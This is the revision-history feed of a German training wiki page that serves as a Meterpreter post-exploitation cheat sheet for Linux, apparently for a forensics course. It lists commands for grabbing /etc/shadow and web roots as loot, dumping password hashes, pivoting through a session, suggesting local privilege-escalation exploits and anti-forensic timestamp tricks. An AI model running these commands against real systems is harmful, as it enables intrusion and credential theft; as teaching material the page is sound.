https://xinux.net/index.php?action=history&feed=atom&title=Meterpreter_unter_Linux 2026-08-23T19:44:33Z Versionsgeschichte dieser Seite in Xinux Wiki MediaWiki 1.35.1 https://xinux.net/index.php?title=Meterpreter_unter_Linux&diff=72693&oldid=prev 2026-08-14T07:16:47Z

<p><span dir="auto"><span class="autocomment">Nicht verfügbar unter Linux</span></span></p> <table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="de"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Nächstältere Version</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Version vom 14. August 2026, 07:16 Uhr</td> </tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l106" >Zeile 106:</td> <td colspan="2" class="diff-lineno">Zeile 106:</td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>;Passwort-Hashes auslesen (nur als root)</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>;Passwort-Hashes auslesen (nur als root)</div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*run post/linux/gather/hashdump</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>*run post/linux/gather/hashdump</div></td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><del style="font-weight: bold; text-decoration: none;"></del></div></td><td colspan="2"> </td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><del style="font-weight: bold; text-decoration: none;">== Nicht verfügbar unter Linux ==</del></div></td><td colspan="2"> </td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><del style="font-weight: bold; text-decoration: none;"></del></div></td><td colspan="2"> </td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><del style="font-weight: bold; text-decoration: none;">* &lt;code&gt;timestomp&lt;/code&gt; – nur Windows. Anti-Forensik unter Linux läuft über</del></div></td><td colspan="2"> </td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><del style="font-weight: bold; text-decoration: none;">  &lt;code&gt;touch -d&lt;/code&gt;, nicht über Meterpreter.</del></div></td><td colspan="2"> </td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><del style="font-weight: bold; text-decoration: none;">* Registry-, Token- und Kiwi/Mimikatz-Kommandos entfallen mangels Windows-Basis.</del></div></td><td colspan="2"> </td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>== Bezug zum Angriffsszenario ==</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>== Bezug zum Angriffsszenario ==</div></td></tr> <!-- diff cache key my_wiki:diff::1.12:old-72692:rev-72693 --> </table>

Thomas.will https://xinux.net/index.php?title=Meterpreter_unter_Linux&diff=72692&oldid=prev 2026-08-14T07:16:23Z

<p></p> <table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="de"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Nächstältere Version</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Version vom 14. August 2026, 07:16 Uhr</td> </tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l1" >Zeile 1:</td> <td colspan="2" class="diff-lineno">Zeile 1:</td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>= <del class="diffchange diffchange-inline">Meterpreter unter Linux </del>=</div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>=<ins class="diffchange diffchange-inline">= Grundsätliches =</ins>=</div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im</div></td></tr> </table>

Thomas.will https://xinux.net/index.php?title=Meterpreter_unter_Linux&diff=72691&oldid=prev 2026-08-14T07:15:58Z

<p>Die Seite wurde neu angelegt: „= Meterpreter unter Linux = Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im Speicher des kompromittierten Prozesses und stell…“</p> <p><b>Neue Seite</b></p><div>= Meterpreter unter Linux =<br /> <br /> Meterpreter ist die interaktive Payload des Metasploit-Frameworks. Sie läuft im<br /> Speicher des kompromittierten Prozesses und stellt einen einheitlichen Befehlssatz<br /> zur Verfügung, unabhängig von der darunterliegenden Shell. Der Linux-Payload bietet<br /> weniger Kommandos als die Windows-Variante – alles rund um Registry, Tokens oder<br /> Timestomping fehlt.<br /> <br /> '''Hinweis:''' Der Befehl &lt;code&gt;help&lt;/code&gt; zeigt in der laufenden Session, welche<br /> Kommandos der konkrete Payload tatsächlich unterstützt. Ein<br /> &lt;code&gt;python/meterpreter&lt;/code&gt; kann weniger als der native ELF-Payload.<br /> <br /> == Session-Verwaltung ==<br /> <br /> ;Session in den Hintergrund legen, zurück zur msf-Konsole<br /> *background<br /> <br /> ;Vorhandene Sessions anzeigen<br /> *sessions -l<br /> <br /> ;Session wieder aufnehmen<br /> *sessions -i ID<br /> <br /> ;Kontextbezogene Befehlsliste anzeigen<br /> *help<br /> <br /> ;Ruby-Konsole im Kontext der Session<br /> *irb<br /> <br /> == System und Recon ==<br /> <br /> ;Betriebssystem, Architektur, Hostname<br /> *sysinfo<br /> <br /> ;Unter welchem Benutzer läuft die Session<br /> *getuid<br /> <br /> ;Eigene Prozess-ID<br /> *getpid<br /> <br /> ;Prozessliste<br /> *ps<br /> <br /> ;In eine normale System-Shell wechseln<br /> *shell<br /> <br /> ;Vollwertiges TTY in der Shell nachrüsten<br /> *python3 -c 'import pty; pty.spawn(&quot;/bin/bash&quot;)'<br /> <br /> == Dateisystem ==<br /> <br /> ;Verzeichnis anzeigen und wechseln<br /> *pwd<br /> *ls<br /> *cd /var/www<br /> <br /> ;Datei anzeigen<br /> *cat /etc/passwd<br /> <br /> ;Datei vom Ziel herunterladen<br /> *download /etc/shadow /tmp/loot/shadow<br /> <br /> ;Ganzes Verzeichnis rekursiv herunterladen<br /> *download -r /var/www /tmp/loot/www<br /> <br /> ;Datei auf das Ziel hochladen<br /> *upload /tmp/tools/linpeas.sh /tmp/linpeas.sh<br /> <br /> ;Dateien suchen<br /> *search -f *.conf<br /> <br /> ;Prüfsumme bilden<br /> *checksum sha1 /usr/bin/verdaechtig<br /> <br /> == Netzwerk und Pivoting ==<br /> <br /> ;Netzwerk-Interfaces anzeigen<br /> *ifconfig<br /> <br /> ;Aktive Verbindungen<br /> *netstat<br /> <br /> ;Routing-Tabelle<br /> *route<br /> <br /> ;Lokales Port-Forwarding einrichten<br /> *portfwd add -l 3389 -p 3389 -r 10.254.31.50<br /> <br /> ;Route über die Session für weitere Module setzen<br /> *run autoroute -s 10.254.31.0/24<br /> <br /> == Post-Module ==<br /> <br /> Post-Module sind keine Meterpreter-Builtins, sondern werden mit &lt;code&gt;run&lt;/code&gt;<br /> aus der Session heraus gestartet.<br /> <br /> ;Passende lokale Privilege-Escalation-Exploits vorschlagen<br /> *run post/multi/recon/local_exploit_suggester<br /> <br /> ;Systemübersicht sammeln<br /> *run post/linux/gather/enum_system<br /> <br /> ;Konfigurationsdateien einsammeln<br /> *run post/linux/gather/enum_configs<br /> <br /> ;Passwort-Hashes auslesen (nur als root)<br /> *run post/linux/gather/hashdump<br /> <br /> == Nicht verfügbar unter Linux ==<br /> <br /> * &lt;code&gt;timestomp&lt;/code&gt; – nur Windows. Anti-Forensik unter Linux läuft über<br /> &lt;code&gt;touch -d&lt;/code&gt;, nicht über Meterpreter.<br /> * Registry-, Token- und Kiwi/Mimikatz-Kommandos entfallen mangels Windows-Basis.<br /> <br /> == Bezug zum Angriffsszenario ==<br /> <br /> Der &lt;code&gt;local_exploit_suggester&lt;/code&gt; schlägt bei einem ungepatchten System mit<br /> verwundbarem &lt;code&gt;pkexec&lt;/code&gt; direkt CVE-2019-13272 vor – denselben Weg, über den<br /> im Forensik-Szenario das Binary &lt;code&gt;ptrace_traceme_root&lt;/code&gt; ins Root-Home gelangt<br /> ist. Damit schließt sich der Kreis von der Angreifer- zur Verteidiger-Perspektive.</div>

Thomas.will